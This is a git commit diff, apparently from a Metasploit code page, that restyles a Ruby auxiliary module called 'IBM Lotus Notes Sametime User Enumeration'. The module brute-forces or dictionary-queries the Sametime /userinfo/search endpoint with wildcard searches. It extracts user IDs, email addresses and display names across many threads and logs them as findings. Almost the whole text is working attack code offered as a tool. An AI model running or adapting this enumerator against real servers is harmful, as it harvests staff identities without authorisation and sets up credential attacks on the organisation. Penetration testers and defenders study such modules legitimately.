Fixed code issues as requested in PR2801
Mostly coding style issues Re-tested in testbed - output as expectedbug/bundler_fix
kicks4kittens
parent
17c0751677
commit
55d4ad1b6a
|
|
@ -9,337 +9,334 @@ require 'enumerable'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'IBM Lotus Notes Sametime User Enumeration',
|
'Name' => 'IBM Lotus Notes Sametime User Enumeration',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module extracts users using the IBM Lotus Notes Sametime web
|
This module extracts users using the IBM Lotus Notes Sametime web
|
||||||
interface using either brute-force or dictionary based attack.
|
interface using either brute-force or dictionary based attack.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'kicks4kittens' # Metasploit module
|
'kicks4kittens' # Metasploit module
|
||||||
],
|
],
|
||||||
'License' => BSD_LICENSE))
|
'License' => BSD_LICENSE))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(443),
|
Opt::RPORT(443),
|
||||||
OptString.new('TARGETURI', [ true, 'The path to the userinfo script', \
|
OptString.new('TARGETURI', [ true, 'The path to the userinfo script',
|
||||||
'/userinfo/search']),
|
'/userinfo/search']),
|
||||||
OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', \
|
OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha',
|
||||||
['alpha', 'alphanum', 'num'] ]),
|
['alpha', 'alphanum', 'num'] ]),
|
||||||
OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
|
OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
|
||||||
OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']),
|
OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']),
|
||||||
OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]),
|
OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]),
|
||||||
OptBool.new('STREAMFINDINGS', [true, 'Stream new users as discovered', true])
|
OptBool.new('STREAMFINDINGS', [true, 'Stream new users as discovered', true])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptInt.new('TIMING', [ true, 'Set pause between requests', 0]),
|
OptInt.new('TIMING', [ true, 'Set pause between requests', 0]),
|
||||||
OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]),
|
OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]),
|
||||||
OptString.new('PREFIX', [ false, 'Defines set prefix for each guess (e.g. user)', '']),
|
OptString.new('PREFIX', [ false, 'Defines set prefix for each guess (e.g. user)', '']),
|
||||||
OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']),
|
OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']),
|
||||||
OptInt.new('Threads', [ true, 'Number of test threads', 10])
|
OptInt.new('Threads', [ true, 'Number of test threads', 10])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def setup
|
||||||
|
|
||||||
|
# setup the desired charset
|
||||||
|
@charset = []
|
||||||
|
# setup array to hold user data
|
||||||
|
@user_data = []
|
||||||
|
|
||||||
|
if datastore['DICT'].nil? or datastore['DICT'].empty?
|
||||||
|
# populate charset - lowercase only as search is case insensitive
|
||||||
|
case datastore['CHARSET']
|
||||||
|
when "alpha"
|
||||||
|
("a".."z").each do | alpha | @charset.push(alpha) end
|
||||||
|
when "num"
|
||||||
|
("0".."9").each do | num | @charset.push(num) end
|
||||||
|
when "alphanum"
|
||||||
|
("a".."z").each do | alpha | @charset.push(alpha) end
|
||||||
|
("0".."9").each do | num | @charset.push(num) end
|
||||||
|
end
|
||||||
|
if datastore['SpecialChars']
|
||||||
|
datastore['SpecialChars'].chars do | spec |
|
||||||
|
@charset.push(Rex::Text.uri_encode(spec))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print_status("Performing Brute-Force based attack on #{peer}")
|
||||||
|
print_status("CHARSET: [#{@charset.join(",")}]")
|
||||||
|
else
|
||||||
|
print_status("Performing dictionary based attack (#{datastore['DICT']}) on #{peer}")
|
||||||
end
|
end
|
||||||
|
|
||||||
def peer
|
# setup path
|
||||||
return "#{rhost}:#{rport}"
|
type = datastore['TYPE'].downcase
|
||||||
|
uri = target_uri.path
|
||||||
|
@reqpath = normalize_uri(uri + '?mode=' + type + '&searchText=')
|
||||||
|
|
||||||
|
if (datastore['DICT'].nil? or datastore['DICT'].empty?) and datastore['MAXDEPTH'] > 2
|
||||||
|
# warn user on long runs
|
||||||
|
print_status("Depth level #{datastore['MAXDEPTH']} selected... this may take some time!")
|
||||||
|
end
|
||||||
|
@depth_warning = true
|
||||||
|
@tested = []
|
||||||
|
@retries = []
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
|
||||||
|
print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw")
|
||||||
|
|
||||||
|
# test for expected response code on non-existant uid/email
|
||||||
|
if datastore['TYPE'] == "UID"
|
||||||
|
rval = Rex::Text.rand_text_alpha(32)
|
||||||
|
else
|
||||||
|
rval = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com"
|
||||||
|
end
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(@reqpath + rval),
|
||||||
|
'method' => 'GET',
|
||||||
|
'ctype' => 'text/html'
|
||||||
|
})
|
||||||
|
|
||||||
|
begin
|
||||||
|
if not res
|
||||||
|
print_error("No response from server #{peer}")
|
||||||
|
return
|
||||||
|
elsif not res.code == 200
|
||||||
|
print_error("Unexpected response from server (Response code: #{res.code})")
|
||||||
|
return
|
||||||
|
elsif not JSON.parse(res.body).blank?
|
||||||
|
# empty JSON element
|
||||||
|
print_error("Received invalid response from server #{peer}")
|
||||||
|
return
|
||||||
|
else
|
||||||
|
print_good("Response received, continuing to enumeration phase")
|
||||||
|
end
|
||||||
|
rescue JSON::ParserError,
|
||||||
|
print_error("Error parsing JSON: Invalid response from server #{peer}")
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
def setup
|
# start test handler
|
||||||
|
test_handler
|
||||||
|
|
||||||
# setup the desired charset
|
# ouput results
|
||||||
@charset = []
|
output_results
|
||||||
# setup array to hold user data
|
|
||||||
@userdata = []
|
|
||||||
|
|
||||||
if datastore['DICT'].nil? or datastore['DICT'].empty?
|
end
|
||||||
# populate charset - lowercase only as search is case insensitive
|
|
||||||
case datastore['CHARSET']
|
|
||||||
when "alpha"
|
|
||||||
("a".."z").each do | alpha | @charset.push(alpha) end
|
|
||||||
when "num"
|
|
||||||
("0".."9").each do | num | @charset.push(num) end
|
|
||||||
when "alphanum"
|
|
||||||
("a".."z").each do | alpha | @charset.push(alpha) end
|
|
||||||
("0".."9").each do | num | @charset.push(num) end
|
|
||||||
end
|
|
||||||
if datastore['SpecialChars']
|
|
||||||
datastore['SpecialChars'].chars do | spec |
|
|
||||||
@charset.push(Rex::Text.uri_encode(spec))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
print_status("Performing Brute-Force based attack on #{peer}")
|
|
||||||
print_status("CHARSET: [#{@charset.join(",")}]")
|
|
||||||
else
|
|
||||||
print_status("Performing dictionary based attack (#{datastore['DICT']}) on #{peer}")
|
|
||||||
end
|
|
||||||
|
|
||||||
# setup path
|
def test_handler
|
||||||
type = datastore['TYPE'].downcase
|
|
||||||
uri = target_uri.path
|
|
||||||
@reqpath = normalize_uri(uri + '?mode=' + type + '&searchText=')
|
|
||||||
|
|
||||||
if (datastore['DICT'].nil? or datastore['DICT'].empty?) and datastore['MAXDEPTH'] > 2
|
|
||||||
# warn user on long runs
|
|
||||||
print_status("Depth level #{datastore['MAXDEPTH']} selected... this may take some time!")
|
|
||||||
end
|
|
||||||
@depth_warning = true
|
|
||||||
@tested = []
|
|
||||||
@retries = []
|
|
||||||
|
|
||||||
|
# create initial test queue and populate
|
||||||
|
@test_queue = Queue.new
|
||||||
|
if (datastore['DICT'].nil? or datastore['DICT'].empty?)
|
||||||
|
@charset.each { |char| @test_queue.push(char) }
|
||||||
|
else
|
||||||
|
File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
|
||||||
|
print_status("Loaded #{@test_queue.length} values from dictionary")
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)")
|
||||||
|
test_length = 1 # initial test length set
|
||||||
|
|
||||||
print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw")
|
while(not @test_queue.empty?)
|
||||||
|
t = []
|
||||||
|
nt = datastore['Threads'].to_i
|
||||||
|
nt = 1 if nt == 0
|
||||||
|
|
||||||
begin
|
if @test_queue.length < nt
|
||||||
# test for expected response code on non-existant uid/email
|
# work around issue where threads not created as the queue isn't large enough
|
||||||
if datastore['TYPE'] == "UID"
|
nt = @test_queue.length
|
||||||
rval = Rex::Text.rand_text_alpha(32)
|
end
|
||||||
else
|
|
||||||
rval = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com"
|
|
||||||
end
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => normalize_uri(@reqpath + rval),
|
|
||||||
'method' => 'GET',
|
|
||||||
'ctype' => 'text/html'
|
|
||||||
})
|
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
if not res
|
1.upto(nt) do
|
||||||
print_error("No response from server #{peer}")
|
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
|
||||||
return
|
Thread.current.kill if not test_current
|
||||||
elsif not res.code == 200
|
|
||||||
print_error("Unexpected response from server (Response code: #{res.code})")
|
|
||||||
return
|
|
||||||
elsif not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty?
|
|
||||||
# empty JSON element
|
|
||||||
print_error("Received invalid response from server #{peer}")
|
|
||||||
return
|
|
||||||
else
|
|
||||||
print_good("Response received, continuing to enumeration phase")
|
|
||||||
end
|
|
||||||
rescue JSON::ParserError,
|
|
||||||
print_error("Error parsing JSON: Invalid response from server #{peer}")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# start test handler
|
# provide feedback to user on current test length
|
||||||
test_handler
|
if (datastore['DICT'].nil? or datastore['DICT'].empty?) and test_current.length > test_length
|
||||||
|
test_length = test_current.length
|
||||||
# ouput results
|
print_status("Beginning brute_force test for #{test_length} character strings")
|
||||||
output_results
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def test_handler
|
|
||||||
|
|
||||||
# create initial test queue and populate
|
|
||||||
@test_queue = Queue.new
|
|
||||||
if (datastore['DICT'].nil? or datastore['DICT'].empty?)
|
|
||||||
@charset.each do | char | @test_queue.push(char) end
|
|
||||||
else
|
|
||||||
File.open(datastore['DICT']).each do | line | @test_queue.push(line.chomp) end
|
|
||||||
print_status("Loaded #{@test_queue.length} values from dictionary")
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)")
|
|
||||||
test_length = 1 # initial test length set
|
|
||||||
|
|
||||||
while(not @test_queue.empty?)
|
|
||||||
t = []
|
|
||||||
nt = datastore['Threads'].to_i
|
|
||||||
nt = 1 if nt == 0
|
|
||||||
|
|
||||||
if @test_queue.length < nt
|
|
||||||
# work around issue where threads not created as the queue isn't large enough
|
|
||||||
nt = @test_queue.length
|
|
||||||
end
|
end
|
||||||
|
|
||||||
1.upto(nt) do
|
res = make_request(test_current)
|
||||||
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
|
|
||||||
Thread.current.kill if not test_current
|
|
||||||
|
|
||||||
# provide feedback to user on current test length
|
# check response to see if an error was returned, if so wait 1 second and retry
|
||||||
if (datastore['DICT'].nil? or datastore['DICT'].empty?) and test_current.length > test_length
|
if not res and not @retries.include?(test_current)
|
||||||
test_length = test_current.length
|
# attempt test again as the server was too busy to respond
|
||||||
print_status("Beginning brute_force test for #{test_length} character strings")
|
# correctly - error returned
|
||||||
end
|
print_error("Error reading JSON response, attempting to redo check for \"#{test_current}\"")
|
||||||
|
Rex::sleep(1) # sleep 1 second and retry request
|
||||||
res = make_request(test_current)
|
@retries << test_current
|
||||||
|
res = make_request(test_current)
|
||||||
# check response to see if an error was returned, if so wait 1 second and retry
|
|
||||||
if res and res == error and not @retries.include?(test_current)
|
|
||||||
# attempt test again as the server was too busy to respond
|
|
||||||
# correctly - error returned
|
|
||||||
print_error("Error reading JSON resonse, attempting to redo check for \"#{test_current}\"")
|
|
||||||
Rex::sleep(1) # sleep 1 second and retry
|
|
||||||
@retries << test_current
|
|
||||||
res = make_request(test_current)
|
|
||||||
end
|
|
||||||
|
|
||||||
if res and not res == error
|
|
||||||
# check response for user data
|
|
||||||
check_response(res, test_current)
|
|
||||||
elsif not @retries.include?(test_current)
|
|
||||||
vprint_error("No response received from server when testing string \"#{test_current}*\" (Retrying)")
|
|
||||||
@retries << test_current
|
|
||||||
Rex::sleep(1) # sleep 1 second and retry
|
|
||||||
res = make_request(test_current)
|
|
||||||
end
|
|
||||||
|
|
||||||
if @retries.length == 10
|
|
||||||
print_error("Excessive number of retries detected (#{@retries.length} check TIMING)")
|
|
||||||
@retries << "warning sent to user" # increase length to avoid multiple warnings
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
t.map do | x | x.join end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def make_request(test_current)
|
if res
|
||||||
|
# check response for user data
|
||||||
# make request and return response
|
check_response(res, test_current)
|
||||||
|
elsif not @retries.include?(test_current)
|
||||||
# combine test string with PRE and POST variables
|
vprint_error("No response received from server when testing string \"#{test_current}*\" (Retrying)")
|
||||||
tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*"
|
@retries << test_current
|
||||||
# Apply timing information
|
Rex::sleep(1) # sleep 1 second and retry
|
||||||
if datastore['TIMING'] > 0
|
res = make_request(test_current)
|
||||||
Rex::sleep(datastore['TIMING'])
|
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => normalize_uri(@reqpath + tstring),
|
|
||||||
'method' => 'GET',
|
|
||||||
'ctype' => 'text/html'
|
|
||||||
})
|
|
||||||
|
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
||||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def check_response(res, test_current)
|
|
||||||
|
|
||||||
# check the response for valid user information
|
|
||||||
|
|
||||||
begin
|
|
||||||
if res.code.to_i == 200 and not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty?
|
|
||||||
# successful response - extract user data
|
|
||||||
extract_user(res, test_current)
|
|
||||||
# extend test_queue to search for further data (not if dictionary in use)
|
|
||||||
extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?)
|
|
||||||
return true
|
|
||||||
elsif JSON.parse(res.body).nil? or JSON.parse(res.body).empty? # empty JSON element
|
|
||||||
# expected failure for non-existant user
|
|
||||||
return false
|
|
||||||
else
|
|
||||||
print_error("Unexpected response received from server #{peer}")
|
|
||||||
end
|
end
|
||||||
rescue JSON::ParserError
|
|
||||||
# non-JSON response - server may be overloaded
|
|
||||||
return error
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def extract_user(res, test_current)
|
if @retries.length == 10
|
||||||
|
print_error("Excessive number of retries detected (#{@retries.length} check TIMING)")
|
||||||
# extract user data if not already present
|
@retries << "warning sent to user" # increase length to avoid multiple warnings
|
||||||
begin
|
|
||||||
userinfo = JSON.parse(res.body)
|
|
||||||
if not @userdata.flatten.include?(userinfo['uid'])
|
|
||||||
@userdata << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
|
|
||||||
if datastore['STREAMFINDINGS']
|
|
||||||
# print newly discovered users straight to the screen
|
|
||||||
print_good("New user found: #{userinfo['uid']}")
|
|
||||||
end
|
|
||||||
report_user(userinfo['uid'])
|
|
||||||
end
|
end
|
||||||
rescue JSON::ParserError
|
end
|
||||||
print_error("Error reading JSON string, continuing")
|
|
||||||
end
|
end
|
||||||
|
t.each {|x| x.join }
|
||||||
|
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
ensure
|
||||||
|
t.each {|x| x.kill rescue nil }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_request(test_current)
|
||||||
|
|
||||||
|
# make request and return response
|
||||||
|
|
||||||
|
# combine test string with PRE and POST variables
|
||||||
|
tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*"
|
||||||
|
# Apply timing information to pause between making requests - not a timeout
|
||||||
|
if datastore['TIMING'] > 0
|
||||||
|
Rex::sleep(datastore['TIMING'])
|
||||||
end
|
end
|
||||||
|
|
||||||
def extend_queue(test_current)
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(@reqpath + tstring),
|
||||||
|
'method' => 'GET',
|
||||||
|
'ctype' => 'text/html'
|
||||||
|
})
|
||||||
|
|
||||||
# extend the test queue if MAXDEPTH value not exceeded
|
end
|
||||||
# checks made to ensure duplicates are not created when extending
|
|
||||||
|
|
||||||
# process:
|
def check_response(res, test_current)
|
||||||
#
|
|
||||||
# when a user is found searching for 'a' the queue for 'a' is extended as
|
|
||||||
# only the first user starting with 'a' will be returned (e.g. 'aanderson')
|
|
||||||
# To find all users the queue must be extended by adding 'aa' through to 'az'
|
|
||||||
# Due to the threaded nature of this module, checks need to be in place to ensure
|
|
||||||
# duplicate entries are not added to the queue by competing threads.
|
|
||||||
|
|
||||||
if test_current.length < datastore['MAXDEPTH']
|
# check the response for valid user information
|
||||||
@charset.each do | char |
|
|
||||||
if not @tested.include?(test_current + char)
|
begin
|
||||||
# only add if not alread in queue - avoid duplicates appearing
|
# check response exists AND that it validates as JSON before proceeding
|
||||||
@test_queue.push(test_current + char)
|
if res.code.to_i == 200 and not JSON.parse(res.body).blank?
|
||||||
# keep track of whats already been queued and checked
|
# successful response - extract user data
|
||||||
@tested.push(test_current + char)
|
extract_user(res)
|
||||||
end
|
# extend test_queue to search for further data (not if dictionary in use)
|
||||||
end
|
extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?)
|
||||||
elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and not datastore['MAXDEPTH'] == 1
|
return true
|
||||||
vprint_status("Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
|
elsif JSON.parse(res.body).blank? # empty JSON element
|
||||||
@depth_warning = false
|
# expected failure for non-existent user - must return false
|
||||||
return
|
return false
|
||||||
|
else
|
||||||
|
# unexpected failure
|
||||||
|
print_error("Unexpected response received from server #{peer}")
|
||||||
|
end
|
||||||
|
rescue JSON::ParserError
|
||||||
|
# non-JSON response - server may be overloaded
|
||||||
|
return error
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def extract_user(res)
|
||||||
|
|
||||||
|
# extract user data if not already present
|
||||||
|
begin
|
||||||
|
userinfo = JSON.parse(res.body)
|
||||||
|
if not @user_data.flatten.include?(userinfo['uid'])
|
||||||
|
@user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
|
||||||
|
if datastore['STREAMFINDINGS']
|
||||||
|
# print newly discovered users straight to the screen
|
||||||
|
print_good("New user found: #{userinfo['uid']}")
|
||||||
end
|
end
|
||||||
|
report_user(userinfo['uid'])
|
||||||
|
end
|
||||||
|
rescue JSON::ParserError
|
||||||
|
print_error("Error reading JSON string, continuing")
|
||||||
end
|
end
|
||||||
|
|
||||||
def report_user(username)
|
end
|
||||||
report_note(
|
|
||||||
:host => rhost,
|
def extend_queue(test_current)
|
||||||
:proto => 'tcp',
|
|
||||||
:sname => 'sametime',
|
# extend the test queue if MAXDEPTH value not exceeded
|
||||||
:port => rport,
|
# checks made to ensure duplicates are not created when extending
|
||||||
:type => 'ibm_lotus_sametime_user',
|
|
||||||
:data => "#{username}",
|
# process:
|
||||||
:update => :unique_data
|
#
|
||||||
)
|
# when a user is found searching for 'a' the queue for 'a' is extended as
|
||||||
|
# only the first user starting with 'a' will be returned (e.g. 'aanderson')
|
||||||
|
# To find all users the queue must be extended by adding 'aa' through to 'az'
|
||||||
|
# Due to the threaded nature of this module, checks need to be in place to ensure
|
||||||
|
# duplicate entries are not added to the queue by competing threads.
|
||||||
|
|
||||||
|
if test_current.length < datastore['MAXDEPTH']
|
||||||
|
@charset.each do | char |
|
||||||
|
if not @tested.include?(test_current + char)
|
||||||
|
# only add if not alread in queue - avoid duplicates appearing
|
||||||
|
@test_queue.push(test_current + char)
|
||||||
|
# keep track of whats already been queued and checked
|
||||||
|
@tested.push(test_current + char)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and not datastore['MAXDEPTH'] == 1
|
||||||
|
vprint_status("Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
|
||||||
|
@depth_warning = false
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
def output_results
|
end
|
||||||
# print output table
|
|
||||||
|
|
||||||
user_tbl = Msf::Ui::Console::Table.new(
|
def report_user(username)
|
||||||
Msf::Ui::Console::Table::Style::Default,
|
report_note(
|
||||||
'Header' => "IBM Lotus Sametime Users",
|
:host => rhost,
|
||||||
'Prefix' => "\n",
|
:proto => 'tcp',
|
||||||
'Indent' => 1,
|
:sname => 'sametime',
|
||||||
'Columns' =>
|
:port => rport,
|
||||||
[
|
:type => 'ibm_lotus_sametime_user',
|
||||||
"UID",
|
:data => "#{username}",
|
||||||
"Email",
|
:update => :unique_data
|
||||||
"CommonName"
|
)
|
||||||
])
|
end
|
||||||
|
|
||||||
# populate tables
|
def output_results
|
||||||
@userdata.each do | line |
|
# print output table
|
||||||
user_tbl << [ line[0], line[1], line[2] ]
|
|
||||||
end
|
|
||||||
|
|
||||||
if not user_tbl.to_s.empty?
|
user_tbl = Msf::Ui::Console::Table.new(
|
||||||
print_good("#{@userdata.length} users extracted from #{peer}")
|
Msf::Ui::Console::Table::Style::Default,
|
||||||
print_line(user_tbl.to_s)
|
'Header' => "IBM Lotus Sametime Users",
|
||||||
else
|
'Prefix' => "\n",
|
||||||
print_error("No users discovered")
|
'Indent' => 1,
|
||||||
end
|
'Columns' =>
|
||||||
|
[
|
||||||
|
"UID",
|
||||||
|
"Email",
|
||||||
|
"CommonName"
|
||||||
|
])
|
||||||
|
|
||||||
|
# populate tables
|
||||||
|
@user_data.each do | line |
|
||||||
|
user_tbl << [ line[0], line[1], line[2] ]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if not user_tbl.to_s.empty?
|
||||||
|
print_good("#{@user_data.length} users extracted from #{peer}")
|
||||||
|
print_line(user_tbl.to_s)
|
||||||
|
else
|
||||||
|
print_error("No users discovered")
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue